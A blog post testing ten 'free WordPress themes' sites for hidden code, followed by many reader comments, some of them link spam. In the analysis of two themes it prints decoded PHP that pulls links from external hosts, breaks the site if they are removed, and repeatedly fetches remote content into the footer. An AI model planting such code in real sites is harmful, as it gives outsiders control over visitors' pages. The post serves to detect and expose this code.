Update: I have written a post about where you can find free WordPress themes. So once you get to the end of this and are suitably concerned you can check it out for some great places to find your themes.
A few months ago I wrote about WordPress Security. Now, armed only with the words “free WordPress themes,” builtBackwards’ Theme Authenticity Checker Plugin and Donncha O Caoimh’s Exploit Scanner, I’m going to take a look through the first page of Google to see just how safe pages ranking for “Free WordPress Themes” are.
Note: I am not uploading any of these themes onto my server. Instead I have installed xampp and am running WordPress locally on my computer. I don’t advise uploading themes from random websites directly onto your server – you never know what you could catch! There are some nasty diseases out there…..
1. WordPressThemesBase
WordPress Themes Base is in the lucky position of being the top ranking site for “Free WordPress Themes.” Someone’s been working hard on their SEO! The blurb at the bottom tells the visitor that unlike other sites offering free WordPress themes, the themes at WordPress Themes Base are fresh. Great, there’s nothing better than a fresh theme.
I downloaded Prinz Branford Magazine. Already things are looking problematic. Branford Magazine is a theme released by der Prinz. There is a very old version of the theme which (as far as I can tell) isn’t up-to-date with WordPress 3.0 and a Pro was released earlier this year. That means we’re looking at either a theme that doesn’t work properly with WP 3.0 or a theme that is a knock-off of a pro.
First thing’s first – install the theme and run it through TAC.
Encrypted code found! First site on Google and we’ve already come across Base64 :( Poor me….. Base64 is often used to hide malicious code. I can see that the code is in the footer. Let’s take a look at that:
Yeah, copyright me, damned right! But what is that Base64 hiding. Here it is in the footer code:
Lots of blah.
You can decode this base64 code in two ways :
- You can try Otto’s decoder – handy!
- You can also do it manually – this involves changing the
eval()to anecho()to force whatever’s been hidden out of hiding. This post will walk you through the process.
I’ve gone for option 2. Turning my eval() into an echo() produced this result in my footer:
Eh? A minute ago it said copyright me!!! Bah! Now there’s something about Free Anti-Virus Downloads. Where did that come from? Hidden by the base64 methinks.
The Verdict:
I downloaded another 2 themes from this site and they all contained base64 code. Base 64 does not necessarily just hide links. It can also hide malicious code which can run amok on your site. Not only that but the site, while maintaining that its themes are fresh, is pushing themes built by other designers that the site owner has put base64 code into. I contacted Michael Oeser at der Prinz, who told me that he’s been trying to get in touch with the site about removing the theme but is having no luck. He’s posted a warning on his own blog about the dangers of downloading pirate themes. He’s the designer of Branford Magazine and his advice is to stay well away from sites like this – good advice!
My suggestion:
Avoid!
2. Free WordPress Themes
Another site with free WordPress themes. Great! Just what I need. I’m always after a good freebie. The first theme on the site is called BeautyStore. I like beauty stores so I’ll download that. Get it installed and run it through TAC.
More encrypted code!!!
Here it is in the footer:
For a beauty store it’s not all that beautiful. There are all sorts of encoded functions right in the footer. This time when I turned my eval()s into echo()s I couldn’t get anything to appear. I ran it through a few decoders and it’s far too jumbled up for me :(
Exploit scanner dislikes it as much as I do:
All of these came up as severe warnings.
The Verdict
2nd site on Google and we’re getting more base64. I downloaded a few other themes which contained static links and no base64. I guess that this site is a bit hit and miss. However, with the previous site I could get it decoded and this, no go. A search on some forums for the pieces of code in the footer indicate that it may be encrypted code used for hacking :( I ain’t techie enough to know and I suspect that most WordPress users aren’t either. In that case….
My Suggestion
Avoid!
3. Themes2WP
Scanning through the themes on Themes2WP they’ve certainly got some tempting ones on there. Let’s take a look at Gameliso which looks like a nicely designed magazine theme.
Theme Authenticity Checker says that it has found 5 static links. Static links are okay, right? A developer’s got to link back to their site. Here are the links:
Hmmmmm… I don’t know about you, but I don’t know if singles sites and animal care sites have much to do with theme development. Let’s take a closer look at the code in footer.php:
There are the links, with the helpful message: “Please do not edit following code, it may cause your site to stop working.” What useful information!!!! I would’ve gone and removed the links and broken the whole thing. Phew.
Oh wait… I did remove them and the site still seems to be working.
There’s another link in sidebar.php. Here it is:
Now to check out the styles for ad_lnk:
Wow! That’s a link that’s way out in the middle of nowhere. Can’t be for much except back-linking programmes.
So we’ve checked out the links – let’s run exploit scanner.
Gameliso is picked up as containing an eval () which could be used to execute malicious code. It’s not the type of thing that you want to have showing up in your theme.
The Verdict
Nice themes but contain 5 backlinks to random people who you probably aren’t interested in linking to. It goes so far as to tell you that if you remove the links your theme won’t work. Of course, we know that this isn’t true – but a beginner WordPress user might think twice about removing them. As for the eval function, well it could be harmless but I don’t know enough about javascript (probably like many average WordPress users) to tell you if in this case it is or it isn’t.
My suggestion
Avoid!
4. FreeWPThemes
After assuming that all sites that aren’t WordPress.org are bad, I was surprised to find no odd embedded links in any of the themes that I downloaded from FreeWPThemes. I downloaded 5 themes, from across the site. And they all had the same links:
None of these appear at all out of place. So, I felt a bit bad about my assumptions.
However, I did run the themes against the Theme Check Plugin. The plugin tests your theme to make sure it’s up to the latest theme review standards. Here’s how the Programme theme did:
Lots of errors! There’s even more than that but I couldn’t fit them all into the screenshot.
The Verdict
While the themes from FreeWPThemes might not live up to the exacting standards of the WordPress theme directory, there is nothing malicious about them, nor is there any backlinks. It may be that you come across things that aren’t working in quite the way that you want them to but there’s nothing hidden or evil about them!
My suggestion
Okay to use but check to make sure all of the functionality that you need is working.
5. WordPress.org
Finally! WordPress.org! We all know and love WordPress.org. It is the safest place to go to get your themes. I guess the problem that we all have with the theme repository is that many of the themes look like they were made back in the 1600s (or near enough). This can be frustrating, especially when many of them don’t work too well with WordPress 3.0. At the bottom of this post I’ll list some other safe places that are great for themes.
The Verdict
A totally trusted and safe place to get your free WordPress themes from.
My suggestion
<3
6. Themes.Rock Kitty
This site has a picture of a cat playing a guitar. I am easily pleased by things with cats on them. The first theme that I downloaded had no advertising links or hidden code in it, nor did the second. But the third came up with this:
More Base64!
This time changing my eval()s to echo()s produced this message:
The links at the bottom of the theme appear like this:
Exploit scanner came up with 17 severe warnings for this theme. Since there are only 4 links showing at the bottom I think we can assume that this theme is either packed full of hidden backlinks or there is something else going on.
The Verdict
Use this site very carefully. If you are going to download themes from them install the themes on your local machine and check them out first. This is another site where you could end up downloading a theme that hijacks your site. Be careful!
My suggestion
Avoid!
7. WP Themes Depot
Another website offering the most up-to-date, fresh, beautiful, free WordPress themes. This time I downloaded the most popular theme on the site, Niferiti, downloaded 980 times. Once again I ran it through TAC and came up with encrypted code:
After changing the eval() to an echo() I got this message (again):
Someone obviously doesn’t want me to get rid of the code. The links appear in the footer like so:
It feels a bit disingenuous to me to say that these are links from family and friends. Especially since we’ve seen that message before with different links. But I guess it’s possible that all spammy links come from the same family…… just maybe….. right?
Update: Okay, so I mustn’t have been paying attention to that message. I = doofus! Once again a lesson in reading things properly. In any case, links, whether family friendly or not, should not be hidden using encrypted code that is often used to mask other activity.
The Verdict
Another site with Base64 in the code. I guess I don’t have to repeat how untrustworthy code like this is. While it’s one thing for a developer to include banklinks it’s another when they use base64 to encode the links. Especially when it’s well known that the code is used to hide malware.
My suggestion
Avoid!
8. WPRex
I downloaded 5 themes from WPRex, the first two contained static spammy links and three others contained (surprise surprise) base64.
That’s Pink Desire. This time to decode it I used this decoder.
Here’s what it spat out:
More encrypted links. People do go to quite some lengths to hide their links!
The Verdict
Another site that is a bit hit and miss. If you must download themes from a place like this make sure you check out what it is you have by using something like TAC. You can also use some of the decoder tools I’ll list at the bottom to check out what any base64 is hiding.
My suggestion
Avoid!
9. No Limits Web Design
While this website has a slightly different name to all of the rest making me hope for something different, upon landing it has the similar announcement about all its great free WordPress themes. I downloaded one of the featured themes – Dark Night – and yet again found more base64 in the theme.
As well as the base64 I found a piece of code starting eval(str_rot13(. You can decode that here.
I got these results:
That’s basically the license. However, when I turned the eval to an echo this code appeared at the top of the page:
function wp_code() { $default_link_text = "Default"; $link_host[] = "http://www.webspacehosting.com/wp_links/wp_links.php"; $link_host[] = "http://nolimitswebdesign.com/wp_links/wp_links.php"; $l = ""; foreach($link_host as $value) { if($file = @fopen($value."?url=".get_bloginfo('url'), "r")) { while (!feof ($file)) { $line = fgets ($file); $l .= $line; } fclose($file); break; } else { if ($value == end($link_host)) { $l=$default_link_text; } } } return $l; } function check_wp_code_sidebar() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { } else { $l=""; $f = dirname(__file__) . "/sidebar.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); fclose($fd); if (strpos($c, $l) == 0) { die; } } } check_wp_code_sidebar();
I got one of our lovely Incsubbers to take a look at it and he translated it as:
function wp_code() {
$default_link_text = "Default";
$link_host[] = "http://www.webspacehosting.com/wp_links/wp_links.php";
$link_host[] = "http://nolimitswebdesign.com/wp_links/wp_links.php";
$l = "";
foreach($link_host as $value) {
if($file = @fopen($value."?url=".get_bloginfo('url'), "r")) {
while (!feof ($file)) {
$line = fgets ($file);
$l .= $line;
}
fclose($file);
break;
} else {
if ($value == end($link_host)) {
$l=$default_link_text;
}
}
}
return $l;
}
function check_wp_code_sidebar() {
$uri = strtolower($_SERVER["REQUEST_URI"]);
if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) {
} else {
$l="";
$f = dirname(__file__) . "/sidebar.php";
$fd = fopen($f, "r");
$c = fread($fd, filesize($f));
fclose($fd);
if (strpos($c, $l) == 0) { die; }
}
}
check_wp_code_sidebar();
The theme is pulling urls into the sidebar, if they don’t appear then die. Poor site :(
Here’s what exploit scanner has to say:
The Verdict
Another site using base64, another one to stay out of the way of. This one is even more encrypted than the others, which ended up showing much more quickly what they are up to.
My suggestion
Avoid!
Phew… getting to the end now… this is exhausting!
10. Templates Browser
Nearly at the end! Actually I did a little search about Templates Browser and found this post. So we can already guess what’s going to happen here. I downloaded the Dropshadow theme, which is actually by Brian Gardner but which you can no longer get from his site (probably because it’s pretty old and not WP 3.0 compatible). Although the TAC only found static links like so:
The static link in the footer is a huge piece of PHP. The source code of the site reveals that it is calling a link to a casino site. However, it has some write elements which make me more suspicious. I got my friendly Incsubber to partially decode it:
1. get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_time_code'");
3. $l_code = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_code'");
4.
5. if (empty($l_time_code)) {
6. $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_time_code', '0', 'no')");
7. $new_time_code = 0;
8. } else
9. $new_time_code = intval($l_time_code[0]);
10.
11. if (empty($l_code)) {
12. $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_code', '
', 'no')");
13. $new_l_code = '
';
14. } else $new_l_code = $l_code[0];
15.
16. if ( ( time() - $new_time_code ) >= 60 ) {
17. $R39C188653EA53DBD6E3F1D3915EDAC0C = "com";
18. $R8088818E3E46A17C12F2EE42EB12D7AC = "1.";
19. $R7B934F06258B8BA3608E30CDE9EA1035 = "xpstatz";
20. $xps = "xps.";
21. $url = "$R8088818E3E46A17C12F2EE42EB12D7AC$R7B934F06258B8BA3608E30CDE9EA1035.$R39C188653EA53DBD6E3F1D3915EDAC0C";
22. $page = "/".$xps."php?h=" . urlencode($_SERVER['HTTP_HOST']) . "&u=" . urlencode($_SERVER['REQUEST_URI']);
23.
24. //1.xpstatz.com/xps.php?h=host&u=uri
25.
26. if (ini_get('allow_url_fopen')) {
27. $new_l_code = @file_get_contents("http://" . $url . $page);
28. }
29. else {
30. $RF500F4A848E2EB2F8AAC3A6734D7EC38 = @fsockopen($url, '80', $R87844B1C6FC922407E6020B6B224950F, $R1966719AEC0096F98BA934D649A6E28D, 30);
31.
32. if ($RF500F4A848E2EB2F8AAC3A6734D7EC38) {
33. @stream_set_timeout($RF500F4A848E2EB2F8AAC3A6734D7EC38, 60);
34. @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "GET $page HTTP/1.1rn");
35. @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Host: $urlrn");
36. @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Connection: Closernrn");
37. $new_l_code = "";
38. while(!feof($RF500F4A848E2EB2F8AAC3A6734D7EC38)) {
39. $new_l_code .= @fgets($RF500F4A848E2EB2F8AAC3A6734D7EC38, 1024);
40. }
41. $new_l_code = trim(strstr($new_l_code, "rnrn"));
42. }
43. @fclose($RF500F4A848E2EB2F8AAC3A6734D7EC38);
44. }
45. if ( strpos($new_l_code, '[/]') ) {
46. $new_time_code = time();
47. $R54997E66281827CBC285597040554FCC = mysql_escape_string($new_l_code);
48. $wpdb->query("UPDATE $wpdb->options SET option_value=$new_time_code WHERE option_name='l_time_code'"); $wpdb->query("UPDATE $wpdb->options SET option_value='$R54997E66281827CBC285597040554FCC' WHERE option_name='l_code'");
49. }
50.
51. }
52. if ( strpos($new_l_code, '[/]') ) {
53. $R3CB9CDAED257453CFA56B9EF81B44C57 = strpos($new_l_code, '[]') + 2;
54. $R24D59CD0B76A27B85F35D40A3CF6EC37 = strrpos($new_l_code, '[/]');
55. echo substr($new_l_code, $R3CB9CDAED257453CFA56B9EF81B44C57, $R24D59CD0B76A27B85F35D40A3CF6EC37-$R3CB9CDAED257453CFA56B9EF81B44C57);
56. $RE762F29BDD39FF0A2ADF9AF4E6885799 = 1;
57. }
58. ?>
Doesn’t mean a whole lot to me either….
But it stores the links in wp_options and checks every 60 seconds to grab the code from an external site. Then it updates the timecodes and links in the options table before outputting them in the footer.
Basically a much more complex method of doing everything that we’ve seen already.
The Verdict
Things are already looking suspicious when another site is claiming that Templates Browser contains malware. And even more suspicious when they’re hawking an old theme which has been designed by an established WordPress designer. All of that code in the footer is not good, and is another way of taking control of your site.
My suggestion
Avoid!
Here’s a video from ThemeLab which does what I did, but quicker!
Conclusion
Out of the ten sites on the first page of Google, here are the stats:
- Safe: 1
- Iffy: 1
- Avoid: 8
8 out of 10 sites included base64 encoding in their themes. The average WordPress user no doubt knows that Google isn’t the best place to find themes but the stats on these sites show that there are thousands of people downloading them and using them on their websites. Someone who has come to WordPress on the first time is more than likely to type “free WordPress themes” into Google to find a site that gives them what they want. Unfortunately they’re more than likely to end up with spammy links, at best, on their site.
Of course, the WordPress Theme Directory can be frustrating in its lack of themes that work with WordPress 3.0. Many of the themes look a little out of date and lots look very bloggy. Here are some trusted sites where you can find WordPress themes, free and otherwise.
Free Themes
Premium Sites
There are plenty more so look around! Don’t type free WordPress themes into Google though!
Tip: A legitimate site offering free WordPress themes will not have the word “WordPress” in its url. WordPress is trademarked and if a site is going to violate trademarks it’s likely to be unscrupulous about inserting spam and other code into themes. Here’s what WordPress have to say about it. (thanks to Jim - see comments below – for correcting me on that!!!!)
Decoders
If you are investigating a theme that you think is suspicious you might find the following decoding tools helpful (source):
$o=Otto’s decoder$_F=__FILE__:eval(gzinflate(base64_decode('...')));:eval(str_rot13(' ... '));- Other codes
- Manual base64 decode
Useful Plugins
Further Reading
- Chip Bennett analyses the top 30 sites ranking for WordPress Themes on Google
- Otto on the Anatomy of a Theme Malware
- ThemeLab on why you should stop downloading WordPress Themes from shady sites
If my app/code/theme/script is so good… why do I have to lie/trick people into actually using it?
If it was THAT good… wouldn’t everyone WANT to use it?
Thank you so much for this information. It is really nice to have people like you who can tell people like me who don’t know much about these things about what could happen.
I like your research, I have found one of your recommended sites theme hybrid to be suspect
My brother suggested I may like this blog. He was entirely right. This put up actually made my day. You can not consider just how so much time I had spent for this information! Thanks!
Good article. Need to be more careful with these themes now.
I am a newbie at wordpress, setting up wp websites for friends and family. Inasmuch as most of the sites I set up are on a budget, we use free wp themes on all of them. I was utterly aghast at your findings, and to think that I just click on those top serp sites and download the free themes assuming that their makers are cool honest guys.
Now, I have some tools to use to check these themes. The TAC tool however seems to have been un-updated since 2009.
Hi james you are right Theme Authenticity Checker is not updated but it still works with the latest WordPress version and help many WordPress users from malicious themes.
I have already came across several sites which does the same. In most of the cases, I avoid using those themes. Merely glancing at the footer.php gives you an idea how bad this themes could be. Avoid Avoid Avoid
Wow, this is a scary article, but essential reading. I didn’t realise so many free theme sites were adding rogue code to their themes. I’ve just downloaded the Arras theme (minus Tim Thumb to avoid the vulnerability issue) and will give it a test run to see if it can replace some of the themes we’re using. Thanks for all the excellent information.
No matter how many times I come across your it never gets old. You definitely hit the tend of fashion and lastest style
Another theme that has malware on it is Groove Bordeaux. I downloaded it because I liked the look but when I did I ended up with my sites being hacked. I was able to go through the code and clean it up.. but definitely one to stay away from too.
Cheers
John
Great work Siobhan. I don’t know if this was pointed out by your other commenters, but the globalEval code caught by Exploit Scanner is likely just a bit of harmless jquery. Not sure why Exploit Scanner is chucking a wobbly over that, it’s found in every installation of wordpress that uses jquery. You can see the exact same verbiage yourself by doing a test search of any local or server copy of jquery.js
Thanks for turning us on to some great tools, too!
Well,OK.I have to say,what a wonderfulit is.thank you for your sharing so good in the website.I like it very much.
This post really goes the extra mile when delivering what people need to hear. Thank you for posting this :)
hiii… I read the post and like it very much also it was very helpful.. but tell me what is ‘TAC’ is it a plugin???
then from where can i get it??
please reply!
Thank you for posting this.
Have about this site? Is it safe? http://fthemes.com/
Great work Siobhan, i am happy i found this post. i tweeted and i follow u. i am a newbie,just a month old. the other day,when i analysed my site with a tool i found some links, with which i was not familiar. i was suspecting some thing, but i could not find where from they were coming.now i know.thanks,great info.
Thanks for taking out the time to inform. Very useful article, but a bit scary, too!
I good god My boss make me use “Gameliso” and the site is live what should I do…..
Thanks , I’ve just been searching for information about this subject for a while and yours is the greatest I have discovered so far. However, what concerning the conclusion? Are you positive concerning the supply?|What i do not realize is in fact how you are not actually a lot more neatly-appreciated than you might be right now. You are very intelligent.
Great post, very informative. I ponder why the opposite specialists of this sector don’t realize this. You should continue your writing. I am confident, you’ve a great readers’ base already!|What’s Taking place i’m new to this, I stumbled upon this I have discovered It positively helpful and it has helped me out loads. I hope to contribute & help other customers like its helped me. Great job.
Heya i’m for the primary time here. I came across this board and I find It really useful & it helped me out a lot. I’m hoping to offer one thing again and aid others such as you aided me.
I’d like to point out that generally I would agree with the sentiment of your article in regards to free WP Themes (I hate encrypted ones). That is why we devoted our site to the best in free wp themes (non-encrypted). Check it out if you have the time. It will be worth it!!
Themes with encrypted code usually have all kind of fancy features, slider, outstanding design etc. This code simply is meant to have those commercial links not removed. Agreed, themes have to be thoroughly checked before going to your server.
On the other side if you buy a premium theme, things are also complex. Many premium themes load awfully slow. Constant wordpress updates require to also have your theme upgraded, but who guarantees? Premium themes are rarely tested on all different types of servers, surelly a risk factor. Many wordpress users meanwhile have thousands of articles/comments. To buy a premium theme and then to find out that your pics of all your 5000 posts are not activated as featured image with proper size and therefore dont show up in the newly bought premium theme is another obstacle. So yes, agreed, temptation to carelessly try out “free themes” is there.
Very informative blog. I haven’t used WordPress yet but I was very keen on learning about it. I always search on Google and it scared me upon learning that these top search engines might contain malware. Thank you for sharing, most specially guiding us where to find free WordPress themes which is safe. Brilliant post!
Excellent items from you, man. I’ve remember your stuff previous to and you are simply extremely great. I really like what you have bought right here, certainly like what you are saying and the way through which you are saying it. You are making it entertaining and you continue to take care of to stay it smart. I can’t wait to read much more from you. That is actually a tremendous website.
Thank you for giving me information where to find WordPress without being scared I might stumble on malware. I’m just so glad I came across this blog, very helpful really. I always depend on google for years, so surprised of these top search engines containing malware. Tnaks again!
Thank you for giving me information where to find WordPress without being scared I might stumble on malware. I’m just so glad I came across this blog, very helpful really. I always depend on google for years, so surprised of these top search engines containing malware. Thanks again!
It’s actually a great and helpful piece of info. I am satisfied that you simply shared this useful information with us. Please keep us informed like this. Thank you for sharing.
My brother recommended I would possibly like this website. He was entirely right. This submit truly made my day. You cann’t believe just how much time I had spent for this info! Thank you!
Scary to know about this, especially with content you trust and then bad happens. You awaken my eyes. Keep up good work
It is in reality a nice and useful piece of information. I am happy that you just shared this useful information with us. Please stay us up to date like this. Thanks for sharing.
Yes.You are right,I always check with plugin when i install new free wordpress theme for my blog.
Do not trust TAC : http://www.boiteaweb.fr/security-plugin-review-tac-theme-authenticity-checker-3149.html (french post sorry)
WordPress sucks. learn how to progrm
Obviously over 22% (and growing daily) of all of the website owners and corporations in the world including (just to name a few) CNN, Yahoo, Harvard, NASA, FOX, The New York Times, Flickr, Rolling Stone, Meebo, C|net, Le Monde, Nancy Pelosi, Rosie O’Donnell, Stephen Colbert, Anousheh Ansari, Stanford, MIT, Second Life, Xerox, The US Post Office, Ford Motors….disagree with you.
They aren’t using “programmers” they are using WordPress Developers. You need to add some skills to your resume my friend. The web is passing you by.
Thank you for all the effort you’ve put into the investigation and the article, even though I just found it now. I was aware of all those things prior to reading your article, but I was doing all the checking for base64 and unwanted links by hand. Thanks to you, I found about TAC and I just ran all the free themes I’m using for the sites I run or manage through it. It saves a lot of time and effort! Thankfully, I have developed my own theme for my personal website, so no need to worry about it :) I would recommend that to everybody who has the knowledge and skill, and of course – the time!
Thank you again for pointing that great plugin put for me :)
This has great information for learning. A new online magazine FLORIDA STANDARD has been published. It has all content of our life style and also have up-to-date event & information that can increase our knowledge. Here’s the link- I think this magazine will helpful for you.
http://www.TheFloridaStandard.com
very interesting article. I think i need to check every thing one’s again, Thanks for your information, keep writing. http://www.couponcodesindia.com/diythemes.com/
hallo:)
I have just started up my own website, and until now, I have only installed plugins (Antivirus,BPS,Exploit scanner,secure wordpress, TAC and WP-malwatch) to secure my site.when I scan with exploit scanner it shows me 16 level severes? ex. located from plugin: antivirus and wp-malwatch an secure wordpress. in this it shows base64 and eval.. how can that be possible? Are these plugins not secure to use?
Hope someone can help me:)
Wow, and this is why you do NOT hunt down for free wordpress themes on Google.
Hope more people actually knew how much they are compromising their server’s security but people seem to not care.
Sergio
This valuable information came at just the right time! I have 2 questions….first, I tried to duplicate what you did and I was never able to get the encrypted code I found using TAC and Otto’s decocer to decode into anything intelligible. I can’t figure out how to select out the proper snippit I think.
Second and most important…I have a site with a free theme and I found a lot of embedded base64 code. If I install a clean theme, will my site then go on to recover from the SEO damage done?
WOW!! This article is really full of great info.
Thank you for all of your time searching.
I just found your site with this page. Absotely loved it. Bookmarking it right away.
Great insights into the search term. I’ll be sure to watch out for these now. Thanks a lot
Nice work with all the detail.
But who doesn’t already know this information.
None of this is malicious nor harmful, you just hated on some websites because its trendy to diss free WP themes.
Sean – in reality, this could be both malicious and harmful. If your site links out to bad neighbourhoods (and chances are that base64 hidden links are likely to point to spammy sites) it can easily end in a Google penalty, particularly if it’s a new / untrusted site…
Matt
Remove Text Enhance
http://botcrawl.com/how-to-remove-text-enhance/
Man, that’s some detail there
At the beginning itself you’ve mentioned not to upload theme directly to the server. But i don’t think so people do so. One think i would like to say here, that you’ve made some good points on how not to being a hunter..
WordPress Plugins
Great Post. A few times I’ve had to do this search, mainly due to severe limitations in budget. The code is fairly easy to sniff out, normally in the footer.php file and if you know how you can remove it yourself … you can take that base 64 code and dump it here http://www.opinionatedgeek.com/dotnet/tools/base64decode/ for example. From that you strip out that bit of code and take the rest back replacing the base 64 section… it is that simple.
So if you must go down this path do so with care.
Also note most free premium type themes will have say images called with base 64 – these are used as metrics and not links to another site… it means Woo can see who is using that theme for example and how popular a theme is such that it can decide which theme needs updating maybe.
Interestingly, sometimes free is more expensive. Thank you for this entertaining post :o)
I used to use free WordPress themes until several of my websites became infected with malicious code. It took me forever to clean the code from those websites. I learned my lesson. I deleted all of the bookmarks I had of websites that were offering free WordPress themes, and I bought the StudioPress Pro Package. It cost a lot of money, but it was well worth it. Not only do my websites look better but the perform better to because they are very well coded. If you must use a free WordPress them, try StudioPress, they have a few free ones.
Hi.
This one is clean:
http://freewordpressthemedownloads.blogspot.com/
Great post! I never used free themes so far, but only because their restrictive flexibility, I simply preferred to make my own designs in an online theme generator like Lubith and work in the code afterwards (when you do it yourself, it’s easy to figure out when/why/how things go wrong in the code), I never thought of verifying the source of pre-made themes to see what is going on back there.
Great article, thanks!
excellent info, very useful for me…
thanks,
http://www.eblogresources.com/
An absolutely mindbogglingly informative article and comments. Fortunately, I’m too dumb to look for free themes with a search engine and stick with the ones offered on my WP blog dashboard. I assume they’re all okay. Started looking for a paid theme recently, but was pretty disappointed when one vendor failed to answer the one question I had about it before I was willing to pay for it. That seemed kind of slack. Beautiful theme, though and perfect for my travel blog.
Hi All,
Please suggest a good theme(free) for the website of a High School that I own. Need something that looks premium,buying is not an option. Found these http://demo.wpzoom.com/academica/
http://newwpthemes.com/demo/iEducation/
Please suggest more options.
Thanks
wow… this is a BIG list to avoid..! I never knew before… You’re right, they do “awesome” job to get first google page. Offer “looking good” theme but …
Thanks for share this…
Man alive … there should be some sorta medal for “above and beyond” … a terrific piece of work. Congrats. And thanks!
–@bentrem
I currently have a wordpress.com blog, and have been wanting to upgrade to a wordpress.org I have been looking into a new theme to go with it. I am careful when I download things, but I would have never seen the things you pointed out. It really makes me rethink how I was theme hunting.
Thank you for this great public service!
Guess with hundreds of comments, you don’t really need one more, however here is one more. You had me at 1. I’m new to new WordPress being a former 1&1 customer (locked into super old version), but am looking for ways to make my blog visually interesting. I never would have realized the dangers your exposed. Thanks!
epaulstanley.com
A friend of mine is using Gameliso (referred to in point 3) and asked me to make some cosmetic changes to the site. One of these changes was to remove the footer links. I did this and am now locked out of the site. I can’t access it to change theme. All I get is a message saying ‘This theme is sponsored, all links in the footer should remain intact’.
Can anyone advise as to what I can do to gain access?
This is a great post with plenty of detail Ismail, thank you.
Dennis O’Brien just shared it in a WordPress Help and Share group on Facebook I’m pleased I took the time to click through and read it. Years back people – dodgy developers! did things like adding links in white text on a white page. I thought all these kinds of sneaky tricks had stopped long ago! This has been a great lesson for my continued education. :)
Great Post! Very Helpful…
Interesting post. I am pleased to come across this wonderful post. Thanks a ton for sharing the same.
Great article, Siobhan. I could tell you have spent a lot of time on this article and your patience in doing so deserves an applause. I just wanted to check with you to see if the base64 encryption can be found out by using an Anti-virus scanner. I have a feeling that the anti-virus software may not be able to detect these encryption & declare it as clean, in an event of which, we will need to manually scan through the entire source code for inspection. So I just want to know how reliable can the anti-virus scanners are in this regard.
Thanks again!
as a hand coding html5/css designer stepping into the WP waters, I experienced something that really spooked me out. Viewing a SE marketers website, I liked what I saw, did “viewsource” and found where I can download the theme which happened to be free. That theme, and another theme that caught my eye, i uploaded to my bluehost. a week later bluehost sends an email saying they patched a timthumb file that they said was corrupt(?).
Kudos to Blue Host. Does GoDaddy do the same?
Lately I’ve been getting requests from prospective web design clients saying their WP was “hacked” and that they need a new website.
Your research (even tho a year later) has got me on edge with this. do you have an updated article for 4Q2012?
Great post. Now I’m gonna think twice before searching for FREE themes.
Just a matter of curiosity, if you search again for “free wordpress themes” you’ll get completely different results now, much more relevant (only a few malicious sites that you mentioned are still on the first page). We have to say thanks to the Google team and their recent Panda, Penguin and other updates regarding the quality of websites and search results. Regards!
Great post! I never used free themes so far, but only because their restrictive flexibility, I simply preferred to make my own designs in an online theme generator like Lubith and http://gameschotabheem.com/ work in the code afterwards (when you do it yourself, it’s easy to figure out when/why/how things go wrong in the code), I never thought of verifying the source of pre-made themes to see what is going on back there.
Great post! I never used free themes so far, but only because their restrictive flexibility, I simply preferred to make my own designs in an online theme generator like Lubith and work in the code afterwards http://gameschotabheem.com/ (when you do it yourself, it’s easy to figure out when/why/how things go wrong in the code), I never thought of verifying the source of pre-made themes to see what is going on back there.
We have to say thanks to the Google team and their recent Panda, Penguin and other updates regarding the quality of websites and search results. Regards!
We have to say thanks to the Google team and their recent Panda, Penguin and other updates regarding the quality of websites and search results. Regards! http://gameschotabheem.com/
Thank you for information.Its true i never search wordpress themes outside the wordpress site for my website.I never thought that wordpress themes are available outside and that will be free its great.I will surely try now onwards.
http://www.buy-arearugs.com/
Hi Siobhan, you are AWESOME! Thanks a bunch. I had no idea you could force malicious code out of hiding like that.
Awesome post ! now i only buy wordpress themes, thnxx to you .
http://www.tecnigar.com
Great information. Try visiting my website http://www.apkandroidgame.com/
Thanks got your point about malicious code.
Found one in my theme footer and removed it successfully.
Thanks for the decoder links
It’s like a quandary, you can get a very pretty theme for free but it comes at a costs. I guess it is the Trojan Horse.
Well I have been warned and will now just buy paid themes and even then I will check the theme.
Thanks for the post.
Stumbled on to this from the Learn WP in One Week page. Created an account just to say how awesome this is! I have already learned SO much and I’m looking forward to all the helpful info.
Thanks!
Perfect article sure there is issue with free themes…good article…
This website provide a list of great free wordpress themes for download:
http://allinwordpress.com/
Thanks for posting this information. I want to change my web to wordpress
http://www.fastatour.com/
Great to see it.It really helps me.I am very interested in changing my web to WordPress http://www.handbag-accessories.com/ Any good idea?
it’s really nice, now i will change my drupal to wordpress!. thank’s for the awesome article.
http://www.pirater-un-compte-facebook.eu/
Totally agree with this article, its spot on!
http://www.eyesecretsstrips.org.uk/